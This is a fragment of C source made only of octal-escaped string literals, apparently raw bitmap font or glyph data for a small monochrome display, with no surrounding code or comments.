"\1\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0`pp\370\370\370\0\0\0\0\0\0" "\0\0\0\0\0\340\360\360 \0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\300\360\374\77\17\3\0" "\0\0\0\0\0\0\0\7\7\7\0\0\0\200\340\370\177\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\300\370\376\77\17\1\60x\30\34\14\14\14\34\70\370\340\0\0\0@\360\374\177\17\3\0\0\0\0" "\0\300\340p\60\30\34\16\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3" "\3\3\3\0 p\70\30\30\30\70\60\360\340\0\0\0\0\0\0\0\200\360\360`\0\0\0\200\200\0\0" "\14\14\14\36\377\363\340\0\0\0\340\370\376\37\7\1\0\0\0\0\3\3\7\6\6\6\6\7\3\3\300\360" "\374\77\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\177\37\7\0\0\0\300\340p\374\374" "\0\0\0\0\0\0\0\300\370\376\77\17\1\0\0\60\70>\63\61\60\60\377\377\60\60\60\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\0\0\0\0\0\0\0\0\0\0\0\0\340\360\360\360" "\360\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\303\303\303\303\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\300\300\340\370\177\77\37\7\0\0\0\0\0\0\0\0\0\0\0\0\0\374\377" "\377\377\7\1\0\0\0\0\0\0\0\0\0\0\200\200\0\0\0\0\0\0\0\3\7\17\37\36<\70\70\70" "\70<<\34\36\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\1\201\363\303\3\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\340\374\377\37\177\376\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\377\77\7\0\0\0" "\3\37\177\376\370\300\0\0\0\0\0\0\0\300\370\376\377\37\17\16\16\16\16\16\16\16\16\17\77\377\376\370" "\300\0\0\0\36\37\37\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\37\37\36\30\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\203\363\303" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\374\377\37\177\376\360\300\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\370\377\77\7\0\0\0\3\37\177\376\370\300\0\0\0\0\0\0\0\300\370\376" "\377\37\17\16\16\16\16\16\16\16\16\17\77\377\376\370\300\0\0\0\36\37\37\7\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\7\37\37\36\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\14\16\7\7\3\3\301\201\3\7\7\16\14\4\0\0\0\0\0\0\0\0\0\0" "\0\0\0\300\370\377\77\377\374\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\200\360\376\177\17\1\0\0" "\7\77\377\374\340\200\0\0\0\0\0\0\0\200\360\374\377\77\37\34\34\34\34\34\34\34\35\37\77\377\374\360" "\200\0\0\0<\77\77\17\1\0\0\0\0\0\0\0\0\0\0\0\0\1\17\77\77<\60\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\1\0\0\0\301\3" "\7\17\16\16\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\300\370\377\77\377\374\340\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\360\376\177\17\1\0\0\7\77\377\374\340\200\0\0\0\0\0\0\0\200\340\374" "\377\77\37\34\34\34\34\34\34\34\34\37\177\377\374\340\200\0\0\0<\77\77\17\1\0\0\0\0\0\0\0" "\0\0\0\0\0\1\17\77\77<\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\3\7\7\7\3\0\300\200\0\3\7\7\7\3\0\0\0\0\0\0\0\0\0\0" "\0\0\0\200\360\376\177\377\376\360\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\374\377\37\3\0\0" "\3\37\377\376\360\200\0\0\0\0\0\0\0\0\300\370\377\177\37\34\34\34\34\34\34\34\34\37\77\377\376\360" "\200\0\0\0\70\77\77\37\3\0\0\0\0\0\0\0\0\0\0\0\0\1\7\77\77>\60\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\37\77\70\360\260" "\70\37\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\377\77\377\376\360\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\360\376\177\17\1\0\0\7\77\377\374\360\200\0\0\0\0\0\0\0\200\360\374" "\377\77\37\34\34\34\34\34\34\34\35\37\177\377\374\340\200\0\0\0<\77\77\17\1\0\0\0\0\0\0\0" "\0\0\0\0\0\3\17\77\77< \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\0\0\0" "\0\200\360\376\177\17\1\377\377\377\377\1\1\1\1\1\1\1\1\0\0\0\0\300\374\377\77\3\0\0\0\377" "\377\377\377ppppppp\0\0\200\360\376\377\37\35\34\34\34\34\34\377\377\377\377\0\0\0\0\0" "\0\0\0\0\77\77\7\0\0\0\0\0\0\0\0\77\77\77\77\70\70\70\70\70\70\70\70\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300" "\300\300\300\300\200\200\0\0\0\0\0\0\0\340\360\374\376\77\17\7\3\3\1\1\1\1\3\3\7\17\37>" "\34\30\0\0\376\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\177\377\377" "\370\300\0\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0\0\0\0\0\3\7\17\17\36\36<\70\270" "\370\370\70<\34\36\17\7\3\0\0\0\0\0\0\0\0\0\0\70\60ppcccw\77>\36\0\0" "\0\0\0\0\0\300\300\300\300\300\301\303\303\303\307\307\317\316\304\300\300\300\300\300\300\0\0\0\0\377\377\377" "\377\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\0\0\0\0\377\377\377\377ppppppp" "pppppp\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\77\77\77\77\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\304\316\316\307\307" "\307\303\303\301\300\300\300\300\300\0\0\0\0\377\377\377\377\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\377\377\377\377ppppppppppppp\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\70\70\70\70\70\70\70" "\70\70\70\70\70\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\304\316\316\307\303\303\301\301\303\307\307\316\314\304\300\300\300\0\0\0\0\377\377\377" "\377\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\0\0\0\0\377\377\377\377ppppppp" "pppppp\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\77\77\77\77\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\303\307\307\307\303\300\300\300" "\300\303\307\307\307\303\300\300\300\0\0\0\0\377\377\377\377\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\377\377\377\377ppppppppppppp\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\70\70\70\70\70\70\70" "\70\70\70\70\70\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\340\340\340\340\341\341\341\343\343\343\347\347\342\340\340\340\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\34\34\34\34\34\34\37\37\37\37\34\34\34\34\34\34\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\316\316\317\307" "\307\303\303\303\301\300\300\0\0\0\0\0\0\0\0\1\1\1\1\1\1\377\377\377\377\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70\70\77\77\77" "\77\70\70\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\304\316\316\307\303\303\301\301\303\303\307\317\316\304\300\0\0\0\0\0\0\0\0\1" "\1\1\1\1\1\377\377\377\377\1\1\1\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\70\70\70\70\70\70\77\77\77\77\70\70\70\70\70\70\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\303\307\307\307\303\300\300\300" "\300\303\307\307\307\303\300\0\0\0\0\0\0\0\0\1\1\1\1\1\1\377\377\377\377\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70\70\77\77\77" "\77\70\70\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\1\1\1\1\1\1\3\3\7\17\77\376\374\370\340\0\0\0pp\377\377\377\377ppppp\0" "\0\0\0\0\0\0\377\377\377\376\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\300\360\377\377" "\77\7\0\0\0\0\77\77\77\77\70\70\70\70\70\70<\34\36\37\17\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\302\303\207\3\1\0\0\1\3" "\3\7\17\16\16\7\307\303\301\300\0\0\0\377\377\377\377\77\376\370\340\300\0\0\0\0\0\0\0\0\377\377" "\377\377\0\0\0\377\377\377\377\0\0\3\17\37\177\374\360\300\200\0\0\0\377\377\377\377\0\0\0\377\377\377" "\377\0\0\0\0\0\0\1\7\37\77\376\370\340\377\377\377\377\0\0\0\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\3\17\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\203\203\203\307\307\307\317\316\314\204\200\0\0\0\0\0\0\0\0\340\370\374" "\376\37\17\7\3\3\1\1\1\3\3\7\17\37\376\374\370\340\0\0\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\377\377\377\376\0\7\177\377\377\360\300\0\0\0\0\0\0\0\0\0\0\0\200\360\377" "\377\177\7\0\0\0\1\3\7\17\37\36<<\70\70\70\70<\36\37\17\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\214\316\316\307" "\307\307\303\203\203\0\0\0\0\0\0\0\0\340\370\374\376\37\17\7\3\3\1\1\1\3\3\7\17\37\376\374" "\370\340\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\376\0\7\177\377\377" "\360\300\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377\177\7\0\0\0\1\3\7\17\37\36<<\70\70" "\70\70<\36\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\14\216\207\207\303\301\301\301\303\307\217\216\14\0\0\0\0\0\0\0\340\370\374" "\376\37\17\7\3\3\1\1\1\3\3\7\17\37\376\374\370\340\0\0\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\377\377\377\376\0\7\177\377\377\360\300\0\0\0\0\0\0\0\0\0\0\0\200\360\377" "\377\177\7\0\0\0\1\3\7\17\37\36<<\70\70\70\70<\36\37\17\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\201\200\200\300\300\301" "\303\303\307\207\207\7\3\1\0\0\0\0\0\340\370\374\376\37\17\7\3\3\1\1\1\3\3\7\17\37\376\374" "\370\340\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\376\0\7\177\377\377" "\360\300\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377\177\7\0\0\0\1\3\7\17\37\36<<\70\70" "\70\70<\36\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\1\3\203\203\201\300\300\300\300\301\303\203\203\1\0\0\0\0\0\0\0\340\370\374" "\376\37\17\7\3\3\1\1\1\3\3\7\17\37\376\374\370\340\0\0\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\377\377\377\376\0\7\177\377\377\360\300\0\0\0\0\0\0\0\0\0\0\0\200\360\377" "\377\177\7\0\0\0\1\3\7\17\37\36<<\70\70\70\70<\36\37\17\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\340\340\300\200\0\0\0\0\0\0\0\200\300\340\340@" "\0\0\0\0\0\0\0\0\0\1\7\217\337\376\374\370\374\376\337\207\3\1\0\0\0\0\0\0\0\0\0\30" "<>\37\17\7\3\1\0\1\3\7\17\37><\30\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\200\0\0\0\200\340\340\340@\0\0\300\360\370" "\374>\37\17\7\7\3\3\3\7\307\357\377~\377\377\363\300\0\0\374\377\377\377\1\0\0\0\0\0\300\360" "\374\177\37\7\1\0\1\377\377\377\374\0\17\377\377\377\340\200\300\360\374\77\17\7\1\0\0\0\0\0\340\377" "\377\377\17\0\0\200\343\377\377\77\77\77xxppppx<>\37\17\7\3\0\0\0\0\1\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\340\340\0\0\1\1\1\3\3" "\3\7\7\0\0\0\340\340\340\340\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\177\377\377" "\377\300\0\0\0\0\0\0\0\0\0\0\200\340\377\377\377\37\0\0\0\0\1\3\7\17\17\16\36\34\34\34" "\34\36\36\17\17\7\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\340\340\340\340\0\0\0\7\7\3\3\3\1\1\1\0\0\340\340\340\340\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\0\0\0\177\377\377\377\300\0\0\0\0\0\0\0\0\0\0\200\340\377\377" "\377\37\0\0\0\0\1\3\7\17\17\16\36\34\34\34\34\36\36\17\17\7\7\3\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\16\16\7\3\3\1\1" "\1\3\7\17\16\4\300\300\300\300\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\377\377\377" "\377\200\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\77\0\0\0\0\3\7\17\37\36\34<\70\70\70" "\70<<\36\37\17\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\301\3\3\3\1\0\0\0\0\0\1\3\3\3\301\300\300\300\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\0\0\0\377\377\377\377\200\0\0\0\0\0\0\0\0\0\0\0\300\377\377" "\377\77\0\0\0\0\3\7\17\37\36\34<\70\70\70\70<<\36\37\17\17\7\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0 \340\340\340\340\200\0\0\7\7\3\3" "\3\1\1\1\0\0\300\340\340\340 \0\0\0\3\7\37\177\376\370\340\200\0\0\0\0\200\340\370\377\77\17" "\3\0\0\0\0\0\0\0\0\0\1\7\37\177\376\370\370\376\177\37\7\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\37" "\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377ppppppppp\360\340\340\300\200\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\1\3\377\377\377\374\0\0\0\0\377\377\377\377\70\70\70\70\70\70\70\70\70<\36\37\17\17\3" "\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360\360ppp" "\360\360\340\340\300\200\0\0\0\0\0\0\0\370\376\377\377\7\1\0\0\0\0\0\0\0\1\203\377\377\377\70" "\0\0\0\0\0\377\377\377\377\0\0\0\0\34\34\34\34\36\77\77{\363\341\300\200\0\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\201\377\377\377~\0\0\0\77\77\77\77\0\0\0\30<<\70" "\70\70<<\36\37\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\60p\370\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\200\200\200\200\201\303\207\207\206\200\0\0\0\0\0\0\0\0\0\0\0\2\6\17\7\3\3\3\3\3" "\3\3\3\7\17\377\376\374\360\0\0\0\0\340\360\370\374\36\16\16\17\7\7\7\7\7\7\7\207\377\377\377" "\377\0\0\0\0\3\17\17\37\36<\70\70\70\70\70\34\34\16\17\7\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300" "\360\370x\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\206\207\307\203\201\200\200\0\0\0\0" "\0\0\0\0\0\0\0\2\6\17\7\3\3\3\3\3\3\3\3\7\17\377\376\374\360\0\0\0\0\340\360\370" "\374\36\16\16\17\7\7\7\7\7\7\7\207\377\377\377\377\0\0\0\0\3\17\17\37\36<\70\70\70\70\70" "\34\34\16\17\7\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360|\370\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\206\217\207\203\200\300\200\201\207\217\7\4\0\0\0\0\0\0\0\0\0\2\6\17\7\3\3\3\3\3" "\3\3\3\7\17\377\376\374\360\0\0\0\0\340\360\370\374\36\16\16\17\7\7\7\7\7\7\7\207\377\377\377" "\377\0\0\0\0\3\17\17\37\36<\70\70\70\70\70\34\34\16\17\7\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360x\70\70\70x" "\360\340\300\200\200\300\340\340@\0\0\0\0\0\0\0\0\1\200\200\200\200\200\300\200\201\203\203\3\3\1\0" "\0\0\0\0\0\0\0\2\6\17\7\3\3\3\3\3\3\3\3\7\17\377\376\374\360\0\0\0\0\340\360\370" "\374\36\16\16\17\7\7\7\7\7\7\7\207\377\377\377\377\0\0\0\0\3\17\17\37\36<\70\70\70\70\70" "\34\34\16\17\7\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\340\360\360\360\340\0\0\0\0\340\360\360\360\340\0\0\0\0\0\0\0\0\0" "\0\0\201\201\201\200\200\300\200\200\200\201\1\1\0\0\0\0\0\0\0\0\0\2\6\17\7\3\3\3\3\3" "\3\3\3\7\17\377\376\374\360\0\0\0\0\340\360\370\374\36\16\16\17\7\7\7\7\7\7\7\207\377\377\377" "\377\0\0\0\0\3\17\17\37\36<\70\70\70\70\70\34\34\16\17\7\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\370\374\34\14" "\14\34\370\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\201\203\207\207\306\206\203\203\200\0\0\0\0" "\0\0\0\0\0\0\0\2\6\17\7\3\3\3\3\3\3\3\3\7\17\377\376\374\360\0\0\0\0\340\360\370" "\374\36\16\16\17\7\7\7\7\7\7\7\207\377\377\377\377\0\0\0\0\3\17\17\37\36<\70\70\70\70\70" "\34\34\16\17\7\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300" "\300\300\300\300\300\200\200\0\200\200\300\300\300\300\300\300\200\0\0\0\0\1\203\201\201\301\301\301\303\377\377\376" "\377\307\303\301\301\301\301\303\377\377\374\0\376\377\377\7\3\3\1\1\1\377\377\377\377\201\1\1\1\1\1\1" "\1\1\1\0\7\17\17\37\36\34\34\36\17\17\7\3\7\17\17\36\34\34\34\36\16\17\6\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\300\300\200\0" "\0\0\0\0\0\300\370\374\376\37\7\3\3\1\1\1\1\1\1\1\3\3\7\17\7\0\0\0\0\37\177\377" "\377\340\200\0\0\0\0\0\0\0\0\0\0\0\0\200\0\0\0\0\0\0\0\1\3\7\7\17\16\36\34\374" "\374\374\234\236\16\17\17\7\2\0\0\0\0\0\0\0\0\0\0\34\30\70\70\61\61\61;\37\37\17\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\60p\370\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\200\200\200\201\303\207\207\206\200\0\0\0\0\0\0\0\0\0\300\360\374\376\237\217\207\203\203\203\203" "\203\203\203\207\217\377\376\370\340\0\0\0\0\177\377\377\377\303\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\0\0\0\0\0\1\3\7\17\37\36<<\70\70\70\70\70<\34\36\17\6\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "\360\370\370\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\206\207\317\203\201\200\200\0\0\0\0" "\0\0\0\0\0\300\360\374\376\237\217\207\203\203\203\203\203\203\203\207\217\377\376\370\340\0\0\0\0\177\377\377" "\377\303\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\1\3\7\17\37\36<<\70\70" "\70\70\70<\34\36\17\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370|\370\360\300\200\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\6\217\207\201\200\300\200\203\207\217\6\0\0\0\0\0\0\0\0\300\360\374\376\237\217\207\203\203\203\203" "\203\203\203\207\217\377\376\370\340\0\0\0\0\177\377\377\377\303\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\0\0\0\0\0\1\3\7\17\37\36<<\70\70\70\70\70<\34\36\17\6\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\360\360\340\0\0\0" "\0\340\360\360\360\340\0\0\0\0\0\0\0\0\0\0\0\1\1\201\200\200\200\300\200\200\201\201\1\0\0\0" "\0\0\0\0\0\300\360\374\376\237\207\207\203\203\203\203\203\203\203\207\237\377\376\370\340\0\0\0\0\177\377\377" "\377\303\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\1\3\7\17\37\36<<\70\70" "\70\70<<\36\36\16\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\60p\370\370\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\200\200\200\200\203\207\207\207\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\70\70\70\70\70\70\77\77\77\77\70\70\70\70\70\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "\340\370\370p\20\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\207\207\207\203\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\3\3\3\3\3\3\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70\70\77\77" "\77\77\70\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\340\370x\360\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\204\216\217\203\201\200\200\201\203\7\17\6\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\70\70\70\70\70\70\77\77\77\77\70\70\70\70\70\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\360\360\340\0\0" "\0\0\340\360\360\360\340\0\0\0\0\0\0\0\0\0\0\200\201\201\201\200\200\200\200\200\0\1\1\1\0\0" "\0\0\0\0\0\0\0\0\0\3\3\3\3\3\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70\70\77\77" "\77\77\70\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 